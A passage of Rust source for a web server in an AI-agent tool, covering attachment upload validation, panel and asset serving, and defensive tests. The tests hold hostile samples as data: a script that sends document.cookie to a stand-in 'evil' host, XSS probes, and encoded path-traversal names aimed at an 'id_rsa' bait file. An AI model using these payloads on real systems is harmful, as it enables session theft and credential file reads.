7134 State(ui): State<Arc<Ui>>,
7135 Path(id): Path<String>,
7136) -> ApiResult<Json<TalkView>> {
7137 blocking(move || {
7138 let id = resolve_talk(&ui.talks, &id)?;
7139 let mut talk = ui.talks.get(&id)?;
7140 talk::close(&mut talk, &ui.talks)?;
7141 let thinking = ui.is_thinking(&talk.id);
7142 Ok(Json(TalkView::new(talk, thinking)))
7143 })
7144 .await
7145}
7146
7147async fn talk_reopen(
7149 State(ui): State<Arc<Ui>>,
7150 Path(id): Path<String>,
7151) -> ApiResult<Json<TalkView>> {
7152 blocking(move || {
7153 let id = resolve_talk(&ui.talks, &id)?;
7154 let mut talk = ui.talks.get(&id)?;
7155 talk::reopen(&mut talk, &ui.talks)?;
7156 let thinking = ui.is_thinking(&talk.id);
7157 Ok(Json(TalkView::new(talk, thinking)))
7158 })
7159 .await
7160}
7161
7162async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7172 blocking(move || {
7173 let id = resolve_talk(&ui.talks, &id)?;
7174 ui.talks.remove(&id)?;
7175 Ok(StatusCode::NO_CONTENT)
7176 })
7177 .await
7178}
7179
7180fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7182 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7183}
7184
7185async fn talk_attachment_post(
7188 State(ui): State<Arc<Ui>>,
7189 Path(id): Path<String>,
7190 headers: HeaderMap,
7191 body: Bytes,
7192) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7193 let mime = validate_attachment(&headers, &body)?;
7194 let name = filename_header(&headers);
7195 let data = body.to_vec();
7196 blocking(move || {
7197 let id = resolve_talk(&ui.talks, &id)?;
7198 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7199 Ok((StatusCode::CREATED, Json(att)))
7200 })
7201 .await
7202}
7203
7204async fn talk_attachment_get(
7207 State(ui): State<Arc<Ui>>,
7208 Path((id, att)): Path<(String, String)>,
7209) -> ApiResult<Response> {
7210 blocking(move || {
7211 let id = resolve_talk(&ui.talks, &id)?;
7212 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7213 return Err(ApiError::not_found(format!(
7214 "talk {id} has no attachment `{att}`"
7215 )));
7216 };
7217 Ok(attachment_response(&meta.mime, data))
7218 })
7219 .await
7220}
7221
7222fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7233 if data.len() > ATTACHMENT_MAX_BYTES {
7234 return Err(ApiError::bad_request(format!(
7235 "attachment is {} bytes, over the {} MiB limit",
7236 data.len(),
7237 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7238 ))
7239 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7240 }
7241 if data.is_empty() {
7242 return Err(ApiError::bad_request("attachment is empty"));
7243 }
7244 let declared = declared_mime(headers)?;
7245 match sniffed_mime(data) {
7246 Some(sniffed) if sniffed == declared => Ok(declared),
7247 Some(sniffed) => Err(ApiError::bad_request(format!(
7248 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7249 ))),
7250 None => Err(ApiError::bad_request(
7251 "the file's bytes do not match any accepted image format",
7252 )),
7253 }
7254}
7255
7256fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7260 let raw = headers
7261 .get(header::CONTENT_TYPE)
7262 .and_then(|v| v.to_str().ok())
7263 .unwrap_or("")
7264 .split(';')
7265 .next()
7266 .unwrap_or("")
7267 .trim()
7268 .to_ascii_lowercase();
7269 ATTACHMENT_MIME_WHITELIST
7270 .iter()
7271 .find(|&&m| m == raw)
7272 .copied()
7273 .ok_or_else(|| {
7274 if raw == "image/svg+xml" {
7275 ApiError::bad_request(
7276 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7277 not just a picture",
7278 )
7279 } else if raw.is_empty() {
7280 ApiError::bad_request("Content-Type is required for an attachment upload")
7281 } else {
7282 ApiError::bad_request(format!(
7283 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7284 image/gif or image/webp"
7285 ))
7286 }
7287 })
7288}
7289
7290fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7293 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7294 Some("image/png")
7295 } else if data.starts_with(b"\xff\xd8\xff") {
7296 Some("image/jpeg")
7297 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7298 Some("image/gif")
7299 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7300 Some("image/webp")
7301 } else {
7302 None
7303 }
7304}
7305
7306fn filename_header(headers: &HeaderMap) -> String {
7312 headers
7313 .get(FILENAME_HEADER)
7314 .and_then(|v| v.to_str().ok())
7315 .map(str::trim)
7316 .filter(|s| !s.is_empty())
7317 .unwrap_or("attachment")
7318 .to_owned()
7319}
7320
7321fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7328 let content_type = ATTACHMENT_MIME_WHITELIST
7329 .iter()
7330 .find(|&&m| m == mime)
7331 .copied()
7332 .unwrap_or("application/octet-stream");
7333 (
7334 [
7335 (header::CONTENT_TYPE, content_type),
7336 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7337 ],
7338 body,
7339 )
7340 .into_response()
7341}
7342
7343async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7351 let repo = repo.to_path_buf();
7352 blocking(move || {
7353 let (cfg, _) = Config::discover(&repo, None)?;
7354 Ok(cfg)
7355 })
7356 .await
7357}
7358
7359fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7365 let mut hits = ids
7366 .into_iter()
7367 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7368 match (hits.next(), hits.next()) {
7369 (Some(one), None) => Ok(one),
7370 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7371 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7372 "`{prefix}` matches more than one {what}, including {a} and {b}"
7373 ))),
7374 }
7375}
7376
7377#[cfg(test)]
7378mod tests {
7379
7380 #[test]
7381 fn holder_reads_the_lease_not_the_record() {
7382 let mut q = Question::new(
7383 "run".to_owned(),
7384 "implement".to_owned(),
7385 "impl-A".to_owned(),
7386 "which?".to_owned(),
7387 String::new(),
7388 Vec::new(),
7389 );
7390 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7391 q.cwd = Some("/tmp".to_owned());
7392 assert_eq!(holder_of(&q, None), Some("nobody"));
7393 let beat = |kind, ago: i64| ask::Lease {
7394 kind,
7395 pid: 1,
7396 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7397 .unwrap(),
7398 };
7399 let fresh = beat(ask::WaiterKind::Asker, 1);
7400 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7401 let daemon = beat(ask::WaiterKind::Daemon, 1);
7402 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7403 let stale = beat(ask::WaiterKind::Asker, 3600);
7404 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7405
7406 let mut c = Question::new(
7409 "task".to_owned(),
7410 crate::conduct::NODE.to_owned(),
7411 "conduct".to_owned(),
7412 "which?".to_owned(),
7413 String::new(),
7414 Vec::new(),
7415 );
7416 assert_eq!(holder_of(&c, None), Some("nobody"));
7417 c.cwd = Some("/tmp".to_owned());
7418 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7419 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7420 let deputy = beat(ask::WaiterKind::Deputy, 1);
7421 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7422 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7423
7424 let mut r = Question::new(
7426 String::new(),
7427 crate::bump::NOTICE_NODE.to_owned(),
7428 "release-watch".to_owned(),
7429 "stuck?".to_owned(),
7430 String::new(),
7431 vec!["hold".to_owned()],
7432 );
7433 assert_eq!(holder_of(&r, None), Some("nobody"));
7434 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7435 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7436 r.deputy = None;
7438 r.seat = "bump".to_owned();
7439 assert_eq!(holder_of(&r, None), None);
7440
7441 let mut m = Question::new(
7444 "run".to_owned(),
7445 crate::land::APPROVAL_NODE.to_owned(),
7446 "land".to_owned(),
7447 "merge?".to_owned(),
7448 String::new(),
7449 Vec::new(),
7450 );
7451 assert_eq!(holder_of(&m, None), Some("nobody"));
7452 assert_eq!(
7453 holder_of(&m, Some(&fresh)),
7454 Some("nobody"),
7455 "a lease with no deputy is not a listener"
7456 );
7457 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7458 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7459 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7460 assert_eq!(holder_of(&m, None), Some("nobody"));
7461 }
7462
7463 fn stub_config() -> Config {
7464 Config {
7467 agents: vec![crate::config::AgentSpec {
7468 id: "stub".to_owned(),
7469 kind: AgentKind::Command,
7470 model: None,
7471 command: vec!["true".to_owned()],
7472 extra_args: Vec::new(),
7473 env: Default::default(),
7474 prompt_delivery: None,
7475 }],
7476 ..Config::default()
7477 }
7478 }
7479
7480 fn plain_question(seat: &str) -> Question {
7481 Question::new(
7482 String::new(),
7483 "n".to_owned(),
7484 seat.to_owned(),
7485 "s".to_owned(),
7486 String::new(),
7487 Vec::new(),
7488 )
7489 }
7490
7491 #[test]
7492 fn deputies_enabled_follows_the_config() {
7493 let on = stub_config();
7494 assert!(crate::deputy::can_start(Some(&on), ""));
7495 assert!(crate::deputy::can_start(Some(&on), "stub"));
7496 let mut off = on.clone();
7497 off.daemon.max_deputies = 0;
7498 assert!(!crate::deputy::can_start(Some(&off), ""));
7499 let mut empty = on;
7500 empty.agents.clear();
7501 assert!(!crate::deputy::can_start(Some(&empty), ""));
7502 assert!(!crate::deputy::can_start(None, ""));
7503 }
7504
7505 #[test]
7506 fn question_views_load_the_config_once() {
7507 let dir = TempDir::new().unwrap();
7508 let store = ask::Questions::at(dir.path().to_path_buf());
7509 let mut with_deputy = plain_question("b");
7510 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7511 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7512
7513 let calls = std::cell::Cell::new(0usize);
7514 let views = question_views(qs.clone(), &store, || {
7515 calls.set(calls.get() + 1);
7516 Some(stub_config())
7517 });
7518 assert_eq!(calls.get(), 1);
7519 assert_eq!(views.len(), 3);
7520 for (v, q) in views.iter().zip(&qs) {
7521 assert_eq!(
7522 v.deputies_enabled,
7523 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7524 );
7525 }
7526
7527 let views = question_views(qs, &store, || None);
7528 assert!(views.iter().all(|v| !v.deputies_enabled));
7529
7530 let calls = std::cell::Cell::new(0usize);
7531 let views = question_views(Vec::new(), &store, || {
7532 calls.set(calls.get() + 1);
7533 None
7534 });
7535 assert!(views.is_empty());
7536 assert_eq!(calls.get(), 0);
7537 }
7538
7539 use pretty_assertions::assert_eq;
7540 use serde_json::Value;
7541 use tempfile::TempDir;
7542 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7543
7544 use super::*;
7545 use crate::config::Config;
7546 use crate::queue::Source;
7547
7548 const SETTLE_STEPS: usize = 3_000;
7559
7560 struct Fixture {
7566 home: TempDir,
7567 addr: SocketAddr,
7568 }
7569
7570 impl Fixture {
7571 async fn start() -> Self {
7572 Self::with_loop(launch_idle).await
7573 }
7574
7575 async fn with_loop(launch: Launch) -> Self {
7577 let home = TempDir::new().expect("temp home");
7578 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7579 Self { home, addr }
7580 }
7581
7582 async fn with_repo(repo: PathBuf) -> Self {
7586 let home = TempDir::new().expect("temp home");
7587 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7588 Self { home, addr }
7589 }
7590
7591 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7594 let home = TempDir::new().expect("temp home");
7595 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7596 Self { home, addr }
7597 }
7598
7599 async fn serve(
7600 home: &FsPath,
7601 repo: PathBuf,
7602 launch: Launch,
7603 machine: Option<PathBuf>,
7604 ) -> SocketAddr {
7605 let queue = Queue::at(home.join("queue"));
7606 let runs = home.join("runs");
7607 std::fs::create_dir_all(&runs).expect("runs dir");
7608 let worktrees = home.join("wt").join("magi");
7609 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7610 let ui = Ui::new(
7611 queue,
7612 Questions::at(home.join("questions")),
7613 Talks::at(home.join("talks")),
7614 runs,
7615 home.to_path_buf(),
7616 repo,
7617 )
7618 .with_worktrees_root(worktrees)
7619 .with_machine_config(machine)
7620 .with_launch(launch);
7621 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7622 .await
7623 .expect("bind loopback");
7624 let addr = listener.local_addr().expect("local addr");
7625 tokio::spawn(async move {
7626 let _ = axum::serve(listener, ui.router()).await;
7627 });
7628 addr
7629 }
7630
7631 fn queue(&self) -> Queue {
7632 Queue::at(self.home.path().join("queue"))
7633 }
7634
7635 fn questions(&self) -> Questions {
7636 Questions::at(self.home.path().join("questions"))
7637 }
7638
7639 fn talks(&self) -> Talks {
7640 Talks::at(self.home.path().join("talks"))
7641 }
7642
7643 fn runs(&self) -> PathBuf {
7644 self.home.path().join("runs")
7645 }
7646
7647 async fn get(&self, path: &str) -> Res {
7648 request(self.addr, "GET", path, None).await
7649 }
7650
7651 async fn head(&self, path: &str) -> Res {
7656 request(self.addr, "HEAD", path, None).await
7657 }
7658
7659 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7660 request(self.addr, "POST", path, body).await
7661 }
7662
7663 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7664 request_with(self.addr, "GET", path, None, extra).await
7665 }
7666
7667 async fn delete(&self, path: &str) -> Res {
7668 request(self.addr, "DELETE", path, None).await
7669 }
7670
7671 async fn put(&self, path: &str, body: &str) -> Res {
7672 request(self.addr, "PUT", path, Some(body)).await
7673 }
7674
7675 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7677 request_bytes(self.addr, path, headers, body).await
7678 }
7679 }
7680
7681 struct Res {
7682 status: u16,
7683 headers: String,
7684 head: String,
7689 body: String,
7690 bytes: Vec<u8>,
7694 }
7695
7696 impl Res {
7697 fn json(&self) -> Value {
7698 serde_json::from_str(&self.body)
7699 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7700 }
7701
7702 fn header(&self, name: &str) -> Option<&str> {
7704 self.head.lines().find_map(|line| {
7705 let (key, value) = line.split_once(':')?;
7706 key.trim()
7707 .eq_ignore_ascii_case(name)
7708 .then(|| value.trim_start().trim_end_matches('\r'))
7709 })
7710 }
7711 }
7712
7713 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7716 request_with(addr, method, path, body, &[]).await
7717 }
7718
7719 async fn request_with(
7723 addr: SocketAddr,
7724 method: &str,
7725 path: &str,
7726 body: Option<&str>,
7727 extra: &[(&str, &str)],
7728 ) -> Res {
7729 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7730 for (name, value) in extra {
7731 head.push_str(&format!("{name}: {value}\r\n"));
7732 }
7733 if let Some(body) = body {
7734 head.push_str("Content-Type: application/json\r\n");
7735 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7736 }
7737 head.push_str("\r\n");
7738 if let Some(body) = body {
7739 head.push_str(body);
7740 }
7741 let mut socket = tokio::net::TcpStream::connect(addr)
7742 .await
7743 .expect("connect to the test server");
7744 socket
7745 .write_all(head.as_bytes())
7746 .await
7747 .expect("write request");
7748 let mut raw = Vec::new();
7749 socket.read_to_end(&mut raw).await.expect("read response");
7750 let split = raw
7753 .windows(4)
7754 .position(|w| w == b"\r\n\r\n")
7755 .expect("a header block");
7756 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7757 let bytes = raw[split + 4..].to_vec();
7758 let status = head
7759 .lines()
7760 .next()
7761 .and_then(|line| line.split_whitespace().nth(1))
7762 .and_then(|code| code.parse().ok())
7763 .expect("a status line");
7764 Res {
7765 status,
7766 headers: head.to_lowercase(),
7767 head,
7768 body: String::from_utf8_lossy(&bytes).into_owned(),
7769 bytes,
7770 }
7771 }
7772
7773 async fn request_bytes(
7779 addr: SocketAddr,
7780 path: &str,
7781 headers: &[(&str, &str)],
7782 body: &[u8],
7783 ) -> Res {
7784 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7785 for (name, value) in headers {
7786 head.push_str(&format!("{name}: {value}\r\n"));
7787 }
7788 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7789 let mut socket = tokio::net::TcpStream::connect(addr)
7790 .await
7791 .expect("connect to the test server");
7792 socket
7793 .write_all(head.as_bytes())
7794 .await
7795 .expect("write request head");
7796 socket.write_all(body).await.expect("write request body");
7797 let mut raw = Vec::new();
7798 socket.read_to_end(&mut raw).await.expect("read response");
7799 let split = raw
7800 .windows(4)
7801 .position(|w| w == b"\r\n\r\n")
7802 .expect("a header block");
7803 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7804 let bytes = raw[split + 4..].to_vec();
7805 let status = head
7806 .lines()
7807 .next()
7808 .and_then(|line| line.split_whitespace().nth(1))
7809 .and_then(|code| code.parse().ok())
7810 .expect("a status line");
7811 Res {
7812 status,
7813 headers: head.to_lowercase(),
7814 head,
7815 body: String::from_utf8_lossy(&bytes).into_owned(),
7816 bytes,
7817 }
7818 }
7819
7820 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7822 let mut state = RunState::new(
7823 PathBuf::from("/repo/magi"),
7824 "main".to_owned(),
7825 "0123456789abcdef".to_owned(),
7826 "Add a web UI\n\nMobile first.".to_owned(),
7827 Config::default(),
7828 );
7829 state.id = id.to_owned();
7830 state.status = status;
7831 let dir = runs.join(id);
7832 std::fs::create_dir_all(&dir).expect("run dir");
7833 std::fs::write(
7834 dir.join("run.json"),
7835 serde_json::to_string_pretty(&state).expect("serialize run"),
7836 )
7837 .expect("write run.json");
7838 }
7839
7840 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7844 let mut state = RunState::new(
7845 PathBuf::from(repo),
7846 "main".to_owned(),
7847 "0123456789abcdef".to_owned(),
7848 "task".to_owned(),
7849 Config::default(),
7850 );
7851 state.id = id.to_owned();
7852 state.status = status;
7853 let dir = runs.join(id);
7854 std::fs::create_dir_all(&dir).expect("run dir");
7855 std::fs::write(
7856 dir.join("run.json"),
7857 serde_json::to_string_pretty(&state).expect("serialize run"),
7858 )
7859 .expect("write run.json");
7860 }
7861
7862 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7863 let body = serde_json::json!({
7864 "schema": 1,
7865 "pid": 4242,
7866 "started_at": Timestamp::now().to_string(),
7867 "updated_at": updated_at.to_string(),
7868 "idle": false,
7869 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7870 "completed": 7,
7871 "polls": 143,
7872 });
7873 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7874 }
7875
7876 fn launch_idle(
7886 _opts: daemon::Opts,
7887 stop: daemon::Stop,
7888 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7889 Box::pin(async move {
7890 while !stop.stopped() {
7891 tokio::time::sleep(Duration::from_millis(2)).await;
7892 }
7893 Ok(())
7894 })
7895 }
7896
7897 fn launch_broken(
7900 _opts: daemon::Opts,
7901 _stop: daemon::Stop,
7902 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7903 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7908 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7909 Box::pin(async move {
7910 Err(anyhow::anyhow!(if first {
7911 "publish the daemon status file: read-only file system"
7912 } else {
7913 "the restarted stand-in failed as well"
7914 }))
7915 })
7916 }
7917
7918 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7925 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7926
7927 fn launch_knocking_on_the_way_out(
7934 _opts: daemon::Opts,
7935 stop: daemon::Stop,
7936 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7937 Box::pin(async move {
7938 while !stop.stopped() {
7939 tokio::time::sleep(Duration::from_millis(2)).await;
7940 }
7941 let addr = PARK_KNOCK
7942 .lock()
7943 .expect("park knock")
7944 .expect("the test set an address");
7945 let heard = request(addr, "GET", "/api/health", None).await.status;
7946 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7947 Ok(())
7948 })
7949 }
7950
7951 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7960 for _ in 0..SETTLE_STEPS {
7961 let view = fx.get("/api/loop").await.json();
7962 if want(&view) {
7963 return view;
7964 }
7965 tokio::time::sleep(Duration::from_millis(10)).await;
7966 }
7967 panic!(
7968 "the loop never settled: {}",
7969 fx.get("/api/loop").await.json()
7970 );
7971 }
7972
7973 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7975 let store = fx.questions();
7976 let mut q = Question::new(
7977 "20260902-000000-beef".to_owned(),
7978 "implement".to_owned(),
7979 "impl-A".to_owned(),
7980 summary.to_owned(),
7981 "because it matters".to_owned(),
7982 choices.iter().map(|c| (*c).to_owned()).collect(),
7983 );
7984 store.put(&mut q).expect("put question");
7985 q.id
7986 }
7987
7988 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7994 let store = fx.questions();
7995 let mut q = Question::new(
7996 "20260902-000000-beef".to_owned(),
7997 "land".to_owned(),
7998 "fix".to_owned(),
7999 "Merge this?".to_owned(),
8000 "the diff is in the panel".to_owned(),
8001 vec!["merge".to_owned(), "hold".to_owned()],
8002 );
8003 let staging = fx.home.path().join("staging");
8006 std::fs::create_dir_all(&staging).expect("staging dir");
8007 let sources: Vec<PathBuf> = assets
8008 .iter()
8009 .map(|(name, bytes)| {
8010 let path = staging.join(name);
8011 std::fs::write(&path, bytes).expect("write staged asset");
8012 path
8013 })
8014 .collect();
8015 store
8016 .put_panel(&mut q, html, &sources)
8017 .expect("write the panel");
8018 store.put(&mut q).expect("put question");
8019 q.id
8020 }
8021
8022 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8031 seed_talk_at(&fx.talks(), id, status)
8032 }
8033
8034 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8035 std::fs::create_dir_all(store.root()).expect("talks dir");
8036 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8037 .expect("serialize a seat");
8038 let body = serde_json::json!({
8039 "schema": 1,
8040 "id": id,
8041 "repo": "/repo/magi",
8042 "agent": "mock",
8043 "status": status,
8044 "turns": [],
8045 "created_at": Timestamp::now().to_string(),
8046 "updated_at": Timestamp::now().to_string(),
8047 "seat": seat,
8048 });
8049 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8050 store.get(id).expect("the seeded talk has to be readable");
8051 id.to_owned()
8052 }
8053
8054 #[tokio::test]
8055 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8056 let fx = Fixture::start().await;
8057 let id = panel(
8058 &fx,
8059 "<h1>Merge?</h1><img src=\"diff.svg\">",
8060 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8061 );
8062
8063 for path in [
8064 format!("/api/questions/{id}/panel"),
8065 format!("/api/questions/{id}/asset/diff.svg"),
8066 ] {
8067 let res = fx.get(&path).await;
8068 assert_eq!(res.status, 200, "{path}: {}", res.body);
8069 assert_eq!(
8075 res.header("content-security-policy"),
8076 Some(
8077 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8078 font-src data:; base-uri 'none'; form-action 'none'; \
8079 frame-ancestors 'self'"
8080 ),
8081 "{path} is the only thing between a hostile panel and the tailnet"
8082 );
8083 assert_eq!(
8084 res.header("x-content-type-options"),
8085 Some("nosniff"),
8086 "{path}: a browser must not re-decide the type we sent"
8087 );
8088 assert_eq!(
8089 res.header("referrer-policy"),
8090 Some("no-referrer"),
8091 "{path}: a panel must not leak the question id off the machine"
8092 );
8093
8094 let pre = fx.head(&path).await;
8099 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8100 assert_eq!(
8101 pre.header("content-security-policy"),
8102 res.header("content-security-policy"),
8103 "{path}: the preflight carries the same policy"
8104 );
8105 assert_eq!(
8106 pre.header("content-type"),
8107 res.header("content-type"),
8108 "{path}: the preflight carries the same type"
8109 );
8110 }
8111 }
8112
8113 #[tokio::test]
8114 async fn a_panel_reaches_the_browser_byte_for_byte() {
8115 let fx = Fixture::start().await;
8116 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8121 let id = panel(&fx, html, &[]);
8122
8123 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8124
8125 assert_eq!(res.status, 200);
8126 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8127 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8128 assert_eq!(
8129 res.header("content-disposition"),
8130 None,
8131 "the panel itself is rendered in the frame, not downloaded"
8132 );
8133 }
8134
8135 #[tokio::test]
8136 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8137 let fx = Fixture::start().await;
8138 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8139 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8140 let id = panel(
8141 &fx,
8142 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8143 &[("diff.svg", svg), ("shot.png", png)],
8144 );
8145
8146 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8147 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8148
8149 assert_eq!(as_svg.status, 200);
8150 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8151 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8156
8157 assert_eq!(as_png.status, 200);
8158 assert_eq!(as_png.header("content-type"), Some("image/png"));
8159 assert_eq!(
8160 as_png.header("content-disposition"),
8161 None,
8162 "a raster image has no execution surface, so tapping it still shows it"
8163 );
8164 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8165 }
8166
8167 #[tokio::test]
8168 async fn an_html_asset_is_never_served_as_html() {
8169 let fx = Fixture::start().await;
8170 let id = panel(
8171 &fx,
8172 "<p>see the notes</p>",
8173 &[
8174 (
8175 "notes.html",
8176 b"<script>fetch('http://evil/'+document.cookie)</script>",
8177 ),
8178 ("hook.js", b"fetch('http://evil/')"),
8179 ("data.json", b"{}"),
8180 ("HEADLINE.TXT", b"plain"),
8181 ],
8182 );
8183
8184 for name in ["notes.html", "hook.js", "data.json"] {
8185 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8186 assert_eq!(res.status, 200, "{name}: {}", res.body);
8187 assert_eq!(
8192 res.header("content-type"),
8193 Some("application/octet-stream"),
8194 "{name} must not be a type the browser will execute or render"
8195 );
8196 }
8197 let txt = fx
8200 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8201 .await;
8202 assert_eq!(
8203 txt.header("content-type"),
8204 Some("text/plain; charset=utf-8")
8205 );
8206 }
8207
8208 #[tokio::test]
8209 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8210 let fx = Fixture::start().await;
8211 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8212 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8216
8217 for encoded in [
8224 "%2e%2e%2fid_rsa",
8225 "..%2fid_rsa",
8226 "..%5cid_rsa",
8227 "%2e%2e%5cid_rsa",
8228 "diff%00.svg",
8229 "..",
8230 ".hidden",
8231 "%2e%2e%2f%2e%2e%2fid_rsa",
8232 ] {
8233 let res = fx
8234 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8235 .await;
8236 assert_eq!(
8237 res.status, 400,
8238 "`{encoded}` has to be refused by name, not looked up: {}",
8239 res.body
8240 );
8241 assert!(res.json()["error"].is_string(), "{}", res.body);
8242 }
8243
8244 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8250 let res = fx
8251 .get(&format!("/api/questions/{id}/asset/{literal}"))
8252 .await;
8253 assert_eq!(
8254 res.status, 404,
8255 "`{literal}` must not match the asset route at all: {}",
8256 res.body
8257 );
8258 }
8259 }
8260
8261 #[tokio::test]
8262 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8263 let fx = Fixture::start().await;
8264 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8265 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8266
8267 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8271 assert_eq!(none.status, 404, "{}", none.body);
8272 assert!(none.json()["error"].is_string(), "{}", none.body);
8273 assert_eq!(
8274 fx.head(&format!("/api/questions/{plain}/panel"))
8275 .await
8276 .status,
8277 404,
8278 "the preflight is the only way the client can learn this"
8279 );
8280
8281 let missing = fx
8283 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8284 .await;
8285 assert_eq!(missing.status, 404, "{}", missing.body);
